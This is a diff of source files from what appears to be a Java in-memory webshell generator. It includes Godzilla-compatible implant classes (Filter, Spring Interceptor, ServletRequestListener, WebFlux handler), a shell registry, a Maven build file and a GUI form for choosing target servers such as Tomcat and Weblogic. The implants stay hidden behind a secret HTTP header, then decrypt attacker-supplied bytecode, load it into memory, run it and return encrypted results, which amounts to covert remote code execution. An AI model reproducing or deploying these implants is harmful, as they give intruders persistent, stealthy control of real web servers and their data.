return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,132 @@
|
|||||||
|
package jmg.godzilla.memshell;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
|
||||||
|
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||||
|
|
||||||
|
public static String key;
|
||||||
|
public static String pass;
|
||||||
|
public static String md5;
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
static {
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaInterceptor() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaInterceptor(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Class Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = b64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f;
|
||||||
|
try {
|
||||||
|
f = ((Class) session.getAttribute("payload")).newInstance();
|
||||||
|
} catch (InstantiationException | IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
f.equals(arrOut);
|
||||||
|
// f.equals(data);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} else {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String md5(String s) {
|
||||||
|
String ret = null;
|
||||||
|
try {
|
||||||
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||||
|
m.update(s.getBytes(), 0, s.length());
|
||||||
|
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||||
|
} catch (Exception var3) {
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object Encoder = base64.newInstance();
|
||||||
|
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] b64Decode(String bs) throws Exception {
|
||||||
|
byte[] value = null;
|
||||||
|
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,156 @@
|
|||||||
|
package jmg.godzilla.memshell;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.ServletRequestEvent;
|
||||||
|
import javax.servlet.ServletRequestListener;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
|
||||||
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
|
public static String key;
|
||||||
|
public static String pass;
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
static String md5;
|
||||||
|
public static String cs;
|
||||||
|
|
||||||
|
static {
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
cs = "UTF-8";
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaListener(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
cs = "UTF-8";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new GodzillaListener(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
// f.equals(data);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
// 提交 response、清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败
|
||||||
|
response.flushBuffer();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception var8) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||||
|
Field var2 = null;
|
||||||
|
Class var3 = var0.getClass();
|
||||||
|
|
||||||
|
while (var3 != Object.class) {
|
||||||
|
try {
|
||||||
|
var2 = var3.getDeclaredField(var1);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
var3 = var3.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var2 == null) {
|
||||||
|
throw new NoSuchFieldException(var1);
|
||||||
|
} else {
|
||||||
|
var2.setAccessible(true);
|
||||||
|
return var2.get(var0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String md5(String s) {
|
||||||
|
String ret = null;
|
||||||
|
try {
|
||||||
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||||
|
m.update(s.getBytes(), 0, s.length());
|
||||||
|
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||||
|
} catch (Exception var3) {
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object Encoder = base64.newInstance();
|
||||||
|
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,123 @@
|
|||||||
|
package jmg.godzilla.memshell;
|
||||||
|
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class GodzillaWebFluxHandlerMethod {
|
||||||
|
public static Map<String, Object> store = new HashMap();
|
||||||
|
public static String key;
|
||||||
|
public static String pass;
|
||||||
|
public static String md5;
|
||||||
|
|
||||||
|
public GodzillaWebFluxHandlerMethod() {
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static Class defineClass(byte[] classbytes) throws Exception {
|
||||||
|
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
method.setAccessible(true);
|
||||||
|
return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String md5(String s) {
|
||||||
|
String ret = null;
|
||||||
|
try {
|
||||||
|
java.security.MessageDigest m;
|
||||||
|
m = java.security.MessageDigest.getInstance("MD5");
|
||||||
|
m.update(s.getBytes(), 0, s.length());
|
||||||
|
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
Class base64;
|
||||||
|
String value = null;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
|
||||||
|
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object Encoder = base64.newInstance();
|
||||||
|
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
|
||||||
|
} catch (Exception e2) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] base64Decode(String bs) throws Exception {
|
||||||
|
Class base64;
|
||||||
|
byte[] value = null;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
|
||||||
|
} catch (Exception e2) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public synchronized ResponseEntity invoke(ServerWebExchange exchange) {
|
||||||
|
try {
|
||||||
|
Object bufferStream = exchange.getFormData().flatMap(c -> {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
String id = c.getFirst(pass);
|
||||||
|
byte[] data = x(base64Decode(id), false);
|
||||||
|
if (store.get("payload") == null) {
|
||||||
|
store.put("payload", defineClass(data));
|
||||||
|
} else {
|
||||||
|
store.put("parameters", data);
|
||||||
|
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
|
||||||
|
Object f = ((Class) store.get("payload")).newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(data);
|
||||||
|
result.append(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||||
|
result.append(md5.substring(16));
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
result.append(ex.getMessage());
|
||||||
|
}
|
||||||
|
return Mono.just(result.toString());
|
||||||
|
});
|
||||||
|
return new ResponseEntity(bufferStream, HttpStatus.OK);
|
||||||
|
} catch (Exception ex) {
|
||||||
|
return new ResponseEntity(ex.getMessage(), HttpStatus.OK);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package jmg.godzilla.util;
|
||||||
|
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.godzilla.memshell.GodzillaFilter;
|
||||||
|
import jmg.godzilla.memshell.GodzillaInterceptor;
|
||||||
|
import jmg.godzilla.memshell.GodzillaListener;
|
||||||
|
import jmg.godzilla.memshell.GodzillaWebFluxHandlerMethod;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class ShellUtil {
|
||||||
|
|
||||||
|
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
|
||||||
|
private static final Map<String, Map<String, String>> toolMap = new HashMap();
|
||||||
|
|
||||||
|
public ShellUtil() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellName(String toolType, String shellType) {
|
||||||
|
Map<String, String> shellMap = toolMap.get(toolType);
|
||||||
|
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellClassName(String shellName) throws Exception {
|
||||||
|
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
|
||||||
|
throw new Exception("Invalid shell type '" + shellName + "'");
|
||||||
|
} else {
|
||||||
|
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
SHELL_CLASSNAME_MAP.put(GodzillaFilter.class.getSimpleName(), GodzillaFilter.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
|
||||||
|
|
||||||
|
Map<String, String> godzillaMap = new HashMap();
|
||||||
|
godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
|
||||||
|
godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName());
|
||||||
|
godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName());
|
||||||
|
godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
|
||||||
|
toolMap.put("Godzilla", godzillaMap);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<parent>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
</parent>
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<artifactId>jmg-gui</artifactId>
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-core</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>me.gv7.woodpecker</groupId>
|
||||||
|
<artifactId>jexpr-encoder-utils</artifactId>
|
||||||
|
<version>0.2.2</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.intellij</groupId>
|
||||||
|
<artifactId>forms_rt</artifactId>
|
||||||
|
<version>7.0.3</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.formdev</groupId>
|
||||||
|
<artifactId>flatlaf</artifactId>
|
||||||
|
<version>3.1</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-behinder</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-antsword</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-godzilla</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-suo5</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-neoregeorg</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-custom</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-assembly-plugin</artifactId>
|
||||||
|
<version>3.6.0</version>
|
||||||
|
<configuration>
|
||||||
|
<descriptorRefs>
|
||||||
|
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||||
|
</descriptorRefs>
|
||||||
|
<archive>
|
||||||
|
<manifest>
|
||||||
|
<mainClass>jmg.gui.jMGApp</mainClass>
|
||||||
|
</manifest>
|
||||||
|
</archive>
|
||||||
|
</configuration>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<id>make-assembly</id>
|
||||||
|
<phase>package</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>single</goal>
|
||||||
|
</goals>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,389 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<form xmlns="http://www.intellij.com/uidesigner/form/" version="1" bind-to-class="jmg.gui.form.jMGForm">
|
||||||
|
<grid id="27dc6" binding="jMGPanel" layout-manager="GridLayoutManager" row-count="7" column-count="1" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||||
|
<margin top="0" left="0" bottom="0" right="0"/>
|
||||||
|
<constraints>
|
||||||
|
<xy x="20" y="20" width="863" height="665"/>
|
||||||
|
</constraints>
|
||||||
|
<properties/>
|
||||||
|
<border type="none"/>
|
||||||
|
<children>
|
||||||
|
<grid id="3afd3" binding="TopPanel" layout-manager="GridLayoutManager" row-count="1" column-count="8" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||||
|
<margin top="0" left="0" bottom="0" right="0"/>
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties/>
|
||||||
|
<border type="none"/>
|
||||||
|
<children>
|
||||||
|
<component id="c4be0" class="javax.swing.JLabel" binding="toolLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="2" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="tool.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="b6735" class="javax.swing.JLabel" binding="formatLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="6" row-span="1" col-span="1" vsize-policy="2" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="format.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="55e33" class="javax.swing.JLabel" binding="serverLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="2" row-span="1" col-span="1" vsize-policy="2" hsize-policy="0" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="server.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="50832" class="javax.swing.JLabel" binding="shellLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="shell.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="9f7e2" class="javax.swing.JComboBox" binding="toolBox">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="139" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<model>
|
||||||
|
<item value="Behinder"/>
|
||||||
|
<item value="Godzilla"/>
|
||||||
|
<item value="AntSword"/>
|
||||||
|
<item value="Suo5"/>
|
||||||
|
<item value="NeoreGeorg"/>
|
||||||
|
<item value="Custom"/>
|
||||||
|
</model>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="4aed2" class="javax.swing.JComboBox" binding="serverBox">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="3" row-span="1" col-span="1" vsize-policy="0" hsize-policy="7" anchor="0" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="139" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<model>
|
||||||
|
<item value="Tomcat"/>
|
||||||
|
<item value="SpringMVC"/>
|
||||||
|
<item value="Weblogic"/>
|
||||||
|
<item value="Websphere"/>
|
||||||
|
<item value="Resin"/>
|
||||||
|
<item value="Undertow"/>
|
||||||
|
<item value="Jetty"/>
|
||||||
|
<item value="SpringWebFlux"/>
|
||||||
|
</model>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="427be" class="javax.swing.JComboBox" binding="shellBox">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="5" row-span="1" col-span="1" vsize-policy="0" hsize-policy="7" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<model>
|
||||||
|
<item value="Listener"/>
|
||||||
|
<item value="Filter"/>
|
||||||
|
<item value="Interceptor"/>
|
||||||
|
<item value="WFHandlerMethod"/>
|
||||||
|
</model>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="5feb" class="javax.swing.JComboBox" binding="formatBox">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="7" row-span="1" col-span="1" vsize-policy="0" hsize-policy="7" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<model>
|
||||||
|
<item value="BASE64"/>
|
||||||
|
<item value="BIGINTEGER"/>
|
||||||
|
<item value="BCEL"/>
|
||||||
|
<item value="CLASS"/>
|
||||||
|
<item value="JAR"/>
|
||||||
|
<item value="JS"/>
|
||||||
|
<item value="JSP"/>
|
||||||
|
</model>
|
||||||
|
</properties>
|
||||||
